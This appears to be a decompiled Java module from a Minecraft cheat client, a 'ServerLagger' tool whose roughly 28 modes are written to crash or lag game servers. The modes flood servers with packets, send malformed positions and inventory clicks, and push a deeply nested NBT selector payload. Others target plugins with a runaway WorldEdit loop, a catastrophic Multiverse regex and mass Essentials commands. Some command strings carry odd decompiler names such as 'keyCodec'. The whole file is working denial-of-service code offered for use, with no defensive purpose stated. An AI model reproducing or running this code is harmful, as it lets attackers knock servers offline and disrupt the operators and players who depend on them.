package dev.crucifixbeta.mod.modules.impl.exploit;

import dev.crucifixbeta.CrucifixBeta;
import dev.crucifixbeta.api.events.eventbus.EventListener;
import dev.crucifixbeta.api.events.impl.GameLeftEvent;
import dev.crucifixbeta.api.events.impl.PacketEvent;
import dev.crucifixbeta.api.events.impl.UpdateEvent;
import dev.crucifixbeta.mod.modules.Module;
import dev.crucifixbeta.mod.modules.settings.impl.BooleanSetting;
import dev.crucifixbeta.mod.modules.settings.impl.EnumSetting;
import dev.crucifixbeta.mod.modules.settings.impl.SliderSetting;
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
import it.unimi.dsi.fastutil.ints.Int2ObjectMaps;
import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;
import java.util.Random;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.Environment;
import net.minecraft.client.gui.screen.ingame.LecternScreen;
import net.minecraft.client.gui.screen.recipebook.RecipeResultCollection;
import net.minecraft.entity.Entity;
import net.minecraft.entity.decoration.ItemFrameEntity;
import net.minecraft.entity.vehicle.BoatEntity;
import net.minecraft.item.ArmorItem;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.common.KeepAliveC2SPacket;
import net.minecraft.network.packet.c2s.play.BoatPaddleStateC2SPacket;
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
import net.minecraft.network.packet.c2s.play.UpdateSelectedSlotC2SPacket;
import net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket.Action;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket.Full;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket.PositionAndOnGround;
import net.minecraft.network.packet.s2c.common.KeepAliveS2CPacket;
import net.minecraft.recipe.RecipeEntry;
import net.minecraft.screen.CraftingScreenHandler;
import net.minecraft.screen.GenericContainerScreenHandler;
import net.minecraft.screen.ScreenHandler;
import net.minecraft.screen.slot.Slot;
import net.minecraft.screen.slot.SlotActionType;
import net.minecraft.util.Hand;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.math.Vec3d;

@Environment(EnvType.CLIENT)
public class ServerLagger extends Module {
   private final EnumSetting<ServerLagger.Mode> mode = this.add(new EnumSetting<>("Mode", ServerLagger.Mode.Selector));
   private final SliderSetting armorPackets = this.add(
      new SliderSetting("ArmorPackets", 1000.0, 1.0, 10000.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.Armor)
   );
   private final SliderSetting windowPackets = this.add(
      new SliderSetting("WindowPackets", 6.0, 2.0, 12.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.Window)
   );
   private final SliderSetting offhandPackets = this.add(
      new SliderSetting(
         "OPackets",
         1000.0,
         1.0,
         10000.0,
         1.0,
         () -> this.mode.getValue() == ServerLagger.Mode.Offhand
               || this.mode.getValue() == ServerLagger.Mode.Swap
               || this.mode.getValue() == ServerLagger.Mode.SwitchSlot
      )
   );
   private final SliderSetting vehiclePackets = this.add(
      new SliderSetting(
         "VPackets",
         2000.0,
         100.0,
         10000.0,
         1.0,
         () -> this.mode.getValue() == ServerLagger.Mode.Vehicle || this.mode.getValue() == ServerLagger.Mode.Boat
      )
   );
   private final SliderSetting aacPackets = this.add(
      new SliderSetting(
         "AACPackets",
         5000.0,
         1.0,
         10000.0,
         1.0,
         () -> this.mode.getValue() == ServerLagger.Mode.AAC
               || this.mode.getValue() == ServerLagger.Mode.AAC2
               || this.mode.getValue() == ServerLagger.Mode.NullPosition
      )
   );
   private final SliderSetting clickSlotPackets = this.add(
      new SliderSetting("SlotPackets", 15.0, 1.0, 100.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.InvalidClickSlot)
   );
   private final SliderSetting interactPackets = this.add(
      new SliderSetting(
         "IPackets",
         15.0,
         1.0,
         100.0,
         1.0,
         () -> this.mode.getValue() == ServerLagger.Mode.InteractNoCom || this.mode.getValue() == ServerLagger.Mode.InteractItem
      )
   );
   private final SliderSetting movementPackets = this.add(
      new SliderSetting("MPackets", 2000.0, 1.0, 10000.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.MovementSpam)
   );
   private final SliderSetting craftPackets = this.add(
      new SliderSetting("CraftPackets", 3.0, 1.0, 100.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.Crafting)
   );
   private final SliderSetting sequencePackets = this.add(
      new SliderSetting("SPackets", 200.0, 50.0, 2000.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.InteractBlock)
   );
   private final SliderSetting commandPackets = this.add(
      new SliderSetting("Count", 3.0, 1.0, 5.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.Selector)
   );
   private final SliderSetting length = this.add(
      new SliderSetting("Length", 2032.0, 1000.0, 3000.0, 1.0, () -> this.mode.getValue() == ServerLagger.Mode.Selector)
   );
   private final BooleanSetting empty = this.add(new BooleanSetting("Empty", true, () -> this.mode.is(ServerLagger.Mode.Song)));
   private final BooleanSetting autoDisable = this.add(new BooleanSetting("AutoDisable", true));
   private final BooleanSetting smartDisable = this.add(new BooleanSetting("SmartDisable", true));
   private final SliderSetting delay = this.add(new SliderSetting("Delay", 1.0, 0.0, 100.0, 1.0).setSuffix("tick"));
   int ticks = 0;
   private long keepAliveId;

   public ServerLagger() {
      super("ServerLagger", Module.Category.Exploit);
      this.setChinese("\u5d29\u670d");
   }

   public static double rndD(double rad) {
      Random var2 = new Random();
      return var2.nextDouble() * rad;
   }

   @EventListener
   public void onUpdate(UpdateEvent event) {
      if (nullCheck()) {
         if (this.autoDisable.getValue()) {
            this.disable();
         }
      } else {
         this.ticks++;
         if (!((double)this.ticks <= this.delay.getValue())) {
            this.ticks = 0;
            switch ((ServerLagger.Mode)this.mode.getValue()) {
               case AAC:
                  for (double var62 = 0.0; var62 < this.aacPackets.getValue(); var62++) {
                     mc.getNetworkHandler()
                        .sendPacket(
                           new PositionAndOnGround(
                              mc.player.getX() + 9412.0 * var62, mc.player.getY() + 9412.0 * var62, mc.player.getZ() + 9412.0 * var62, true
                           )
                        );
                  }

                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case AAC2:
                  for (double var61 = 0.0; var61 < this.aacPackets.getValue(); var61++) {
                     mc.getNetworkHandler()
                        .sendPacket(
                           new PositionAndOnGround(
                              mc.player.getX() + 500000.0 * var61, mc.player.getY() + 500000.0 * var61, mc.player.getZ() + 500000.0 * var61, true
                           )
                        );
                  }

                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case Armor:
                  for (int var30 = 0; var30 < this.armorPackets.getValueInt(); var30++) {
                     if (mc.player.getInventory().getStack(38).getItem() != Items.AIR) {
                        mc.interactionManager.clickSlot(mc.player.currentScreenHandler.syncId, 6, 0, SlotActionType.SWAP, mc.player);
                     }

                     if (mc.player.getMainHandStack().getItem() instanceof ArmorItem || mc.player.getMainHandStack().getItem() == Items.ELYTRA) {
                        mc.interactionManager.interactItem(mc.player, Hand.MAIN_HAND);
                     }
                  }
                  break;
               case Boat:
                  Entity var29 = mc.player.getVehicle();
                  if (var29 == null) {
                     if (this.smartDisable.getValue()) {
                        this.disable();
                     }

                     return;
                  }

                  if (!(var29 instanceof BoatEntity) && this.smartDisable.getValue()) {
                     this.disable();
                  }

                  for (int var41 = 0; (double)var41 < this.vehiclePackets.getValue(); var41++) {
                     mc.getNetworkHandler().sendPacket(new BoatPaddleStateC2SPacket(true, true));
                  }
                  break;
               case Console:
                  for (int var28 = 0; var28 < 5; var28++) {
                     KeepAliveC2SPacket var40 = new KeepAliveC2SPacket(this.keepAliveId++);

                     try {
                        mc.getNetworkHandler().sendPacket(var40);
                     } catch (Exception var11) {
                        var11.printStackTrace();
                     }
                  }
                  break;
               case Chunk:
                  for (double var59 = mc.player.getY(); var59 < 255.0; var59 += 5.0) {
                     mc.getNetworkHandler().sendPacket(new PositionAndOnGround(mc.player.getX(), var59, mc.player.getZ(), true));
                  }

                  for (double var60 = 0.0; var60 < 6685.0; var60 += 5.0) {
                     mc.getNetworkHandler().sendPacket(new PositionAndOnGround(mc.player.getX() + var60, 255.0, mc.player.getZ() + var60, true));
                  }
                  break;
               case Crafting:
                  if (!(mc.player.currentScreenHandler instanceof CraftingScreenHandler) || mc.getNetworkHandler() == null) {
                     return;
                  }

                  try {
                     for (RecipeResultCollection var58 : mc.player.getRecipeBook().getOrderedResults()) {
                        for (RecipeEntry var44 : var58.getRecipes(true)) {
                           for (int var7 = 0; (double)var7 < this.craftPackets.getValue(); var7++) {
                              mc.getNetworkHandler().sendPacket(new CraftRequestC2SPacket(mc.player.currentScreenHandler.syncId, var44, true));
                           }
                        }
                     }
                  } catch (Exception var13) {
                     this.sendMessage("§4" + var13.getMessage());
                     var13.printStackTrace();
                     if (this.smartDisable.getValue()) {
                        this.disable();
                     }
                  }
                  break;
               case Essentials:
                  mc.getNetworkHandler().sendChatCommand("pay * keyCodec keyCodec");
                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case FaweWorldEdit:
                  mc.getNetworkHandler().sendChatCommand("to for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}");
                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case InteractBlock:
                  if (mc.getCameraEntity().raycast(256.0, 0.0F, false) instanceof BlockHitResult var38) {
                     Vec3d var57 = var38.getPos();
                     BlockHitResult var48 = new BlockHitResult(var57, Direction.DOWN, BlockPos.ofFloored(var57), false);

                     for (int var43 = 0; (double)var43 < this.sequencePackets.getValue(); var43++) {
                        mc.getNetworkHandler().sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, var48, -1));
                     }
                  }
                  break;
               case InteractItem:
                  for (int var25 = 0; (double)var25 < this.interactPackets.getValue(); var25++) {
                     sendSequencedPacket(
                        id -> new PlayerInteractItemC2SPacket(Hand.MAIN_HAND, id, CrucifixBeta.ROTATION.getLastYaw(), CrucifixBeta.ROTATION.getLastPitch())
                     );
                  }
                  break;
               case InteractNoCom:
                  for (int var24 = 0; (double)var24 < this.interactPackets.getValue(); var24++) {
                     Vec3d var37 = this.pickRandomPos();
                     mc.getNetworkHandler()
                        .sendPacket(
                           new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(var37, Direction.DOWN, BlockPos.ofFloored(var37), false), 0)
                        );
                  }
                  break;
               case InteractOOB:
                  Vec3d var23 = new Vec3d(Double.POSITIVE_INFINITY, 255.0, Double.NEGATIVE_INFINITY);
                  mc.getNetworkHandler()
                     .sendPacket(
                        new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(var23, Direction.DOWN, BlockPos.ofFloored(var23), false), 0)
                     );
                  break;
               case InvalidClickSlot:
                  Int2ObjectArrayMap var22 = new Int2ObjectArrayMap();
                  var22.put(0, new ItemStack(Items.RED_DYE, 1));

                  for (int var36 = 0; (double)var36 < this.clickSlotPackets.getValue(); var36++) {
                     mc.getNetworkHandler()
                        .sendPacket(
                           new ClickSlotC2SPacket(
                              mc.player.currentScreenHandler.syncId, 123344, 2957234, 2859623, SlotActionType.PICKUP, new ItemStack(Items.AIR, -1), var22
                           )
                        );
                  }
                  break;
               case Lectern:
                  if (!(mc.currentScreen instanceof LecternScreen)) {
                     return;
                  }

                  mc.getNetworkHandler()
                     .sendPacket(
                        new ClickSlotC2SPacket(
                           mc.player.currentScreenHandler.syncId,
                           mc.player.currentScreenHandler.getRevision(),
                           0,
                           0,
                           SlotActionType.QUICK_MOVE,
                           mc.player.currentScreenHandler.getCursorStack().copy(),
                           Int2ObjectMaps.emptyMap()
                        )
                     );
                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case MovementSpam:
                  if (mc.getNetworkHandler() == null) {
                     return;
                  }

                  try {
                     Vec3d var21 = mc.player.getPos();

                     for (int var35 = 0; (double)var35 < this.movementPackets.getValue(); var35++) {
                        Full var56 = new Full(
                           var21.x + this.getDistributedRandom(1.0),
                           var21.y + this.getDistributedRandom(1.0),
                           var21.z + this.getDistributedRandom(1.0),
                           (float)rndD(90.0),
                           (float)rndD(180.0),
                           true
                        );
                        mc.getNetworkHandler().sendPacket(var56);
                     }
                  } catch (Exception var12) {
                     this.sendMessage("§4" + var12.getMessage());
                     var12.printStackTrace();
                     if (this.smartDisable.getValue()) {
                        this.disable();
                     }
                  }
                  break;
               case MultiverseCore:
                  mc.getNetworkHandler().sendChatCommand("mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^");
                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case NullPosition:
                  for (double var8 = 0.0; var8 < this.aacPackets.getValue(); var8++) {
                     mc.getNetworkHandler()
                        .sendPacket(new PositionAndOnGround(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true));
                  }

                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case OutOfBounds:
                  for (int var20 = 0; var20 < 100; var20++) {
                     ItemStack var34 = new ItemStack(mc.player.getMainHandStack().getItem());
                     ClickSlotC2SPacket var55 = new ClickSlotC2SPacket(
                        0, 69, mc.player.currentScreenHandler.getRevision(), 1, SlotActionType.QUICK_MOVE, var34, new Int2ObjectOpenHashMap()
                     );

                     try {
                        mc.getNetworkHandler().sendPacket(var55);
                     } catch (Exception var10) {
                        var10.printStackTrace();
                     }
                  }
                  break;
               case Offhand:
                  for (int var19 = 0; (double)var19 < this.offhandPackets.getValue(); var19++) {
                     mc.getNetworkHandler().sendPacket(new PlayerActionC2SPacket(Action.SWAP_ITEM_WITH_OFFHAND, BlockPos.ORIGIN, Direction.UP));
                  }
                  break;
               case Promote:
                  mc.getNetworkHandler().sendChatCommand("promote * keyCodec");
                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case Selector:
                  String var18 = this.generateJsonObject(this.length.getValueInt());
                  String var33 = ("msg @keyCodec[nbt={PAYLOAD}]").replace("{PAYLOAD}", var18);

                  for (int var54 = 0; (double)var54 < this.commandPackets.getValue(); var54++) {
                     mc.getNetworkHandler().sendPacket(new RequestCommandCompletionsC2SPacket(0, var33));
                  }

                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
                  break;
               case Song:
                  boolean var17 = false;
                  if (mc.player.currentScreenHandler instanceof GenericContainerScreenHandler var4) {
                     for (int var45 = 0; var45 < var4.getInventory().size(); var45++) {
                        Slot var51 = var4.getSlot(var45);
                        if (var51.hasStack() && var51.getStack().getItem() == Items.CREEPER_BANNER_PATTERN) {
                           mc.interactionManager.clickSlot(mc.player.currentScreenHandler.syncId, var51.id, 1, SlotActionType.THROW, mc.player);
                           return;
                        }
                     }

                     for (int var46 = 0; var46 < var4.getInventory().size(); var46++) {
                        Slot var52 = var4.getSlot(var46);
                        if ((var52.hasStack() || this.empty.getValue()) && var46 < 45) {
                           mc.interactionManager.clickSlot(mc.player.currentScreenHandler.syncId, var46, 1, SlotActionType.THROW, mc.player);
                           var17 = true;
                        }

                        if (var46 == 51) {
                           mc.interactionManager.clickSlot(mc.player.currentScreenHandler.syncId, var46, 0, SlotActionType.PICKUP, mc.player);
                        }
                     }
                  }

                  if (!var17) {
                     for (Entity var47 : CrucifixBeta.THREAD.getEntities()) {
                        if (var47 instanceof ItemFrameEntity var42 && mc.player.getEyePos().distanceTo(var42.getPos()) < 3.0) {
                           mc.getNetworkHandler()
                              .sendPacket(PlayerInteractEntityC2SPacket.interactAt(var42, mc.player.isSneaking(), Hand.MAIN_HAND, var42.getPos()));
                           return;
                        }
                     }
                  }
                  break;
               case Swap:
                  for (int var16 = 0; (double)var16 < this.offhandPackets.getValue(); var16++) {
                     mc.interactionManager
                        .clickSlot(mc.player.currentScreenHandler.syncId, 45, mc.player.getInventory().selectedSlot, SlotActionType.SWAP, mc.player);
                  }
                  break;
               case SwitchSlot:
                  for (int var15 = 0; (double)var15 < this.offhandPackets.getValue(); var15++) {
                     mc.player.networkHandler.sendPacket(new UpdateSelectedSlotC2SPacket(0));
                     mc.player.networkHandler.sendPacket(new UpdateSelectedSlotC2SPacket(1));
                  }
                  break;
               case Vehicle:
                  Entity var14 = mc.player.getVehicle();
                  if (var14 == null) {
                     if (this.smartDisable.getValue()) {
                        this.disable();
                     }

                     return;
                  }

                  BlockPos var31 = mc.player.getBlockPos();
                  Vec3d var50 = new Vec3d((double)var31.getX() + 0.5, (double)(var31.getY() + 1), (double)var31.getZ() + 0.5);
                  var14.updatePosition(var50.x, var50.y - 1.0, var50.z);

                  for (int var5 = 0; (double)var5 < this.vehiclePackets.getValue(); var5++) {
                     mc.getNetworkHandler().sendPacket(new VehicleMoveC2SPacket(var14));
                  }
                  break;
               case Window:
                  ScreenHandler var2 = mc.player.currentScreenHandler;
                  Int2ObjectArrayMap var3 = new Int2ObjectArrayMap();
                  var3.put(0, new ItemStack(Items.ACACIA_BOAT, 1));

                  for (int var6 = 0; (double)var6 < this.windowPackets.getValue() + 1.0; var6++) {
                     mc.getNetworkHandler()
                        .sendPacket(new ClickSlotC2SPacket(var2.syncId, var2.getRevision(), 36, -1, SlotActionType.SWAP, var2.getCursorStack().copy(), var3));
                  }
                  break;
               case WorldEdit:
                  mc.getNetworkHandler().sendChatCommand("/calc for(i=0;i<256;i++){for(keyCodec=0;keyCodec<256;keyCodec++){for(elementCodec=0;elementCodec<256;elementCodec++){for(c=0;c<255;c++){}}}}");
                  if (this.smartDisable.getValue()) {
                     this.disable();
                  }
            }
         }
      }
   }

   @EventListener
   public void onPacketInbound(PacketEvent.Receive event) {
      if (mc.player != null && mc.world != null) {
         if (event.getPacket() instanceof KeepAliveS2CPacket var3) {
            this.keepAliveId = var3.getId();
         }
      }
   }

   public double getDistributedRandom(double rad) {
      return rndD(rad) - rad / 2.0;
   }

   private Vec3d pickRandomPos() {
      return new Vec3d((double)new Random().nextInt(16777215), 255.0, (double)new Random().nextInt(16777215));
   }

   private String generateJsonObject(int levels) {
      String var2 = IntStream.range(0, levels).mapToObj(i -> "[").collect(Collectors.joining());
      return "{keyCodec:" + var2 + "}";
   }

   @Override
   public String getInfo() {
      return this.mode.getValue().name();
   }

   @Override
   public void onDisable() {
      this.ticks = 999;
   }

   @Override
   public void onLogin() {
      if (this.autoDisable.getValue()) {
         this.disable();
      }
   }

   @EventListener
   public void onLogout(GameLeftEvent event) {
      if (this.autoDisable.getValue()) {
         this.disable();
      }
   }
@Environment(EnvType.CLIENT)
   public static enum Mode {
      AAC,
      AAC2,
      Armor,
      Boat,
      Console,
      Chunk,
      Crafting,
      Essentials,
      FaweWorldEdit,
      InteractBlock,
      InteractItem,
      InteractNoCom,
      InteractOOB,
      InvalidClickSlot,
      Lectern,
      MovementSpam,
      MultiverseCore,
      NullPosition,
      OutOfBounds,
      Offhand,
      Promote,
      Selector,
      Song,
      Swap,
      SwitchSlot,
      Vehicle,
      Window,
      WorldEdit;

}
}
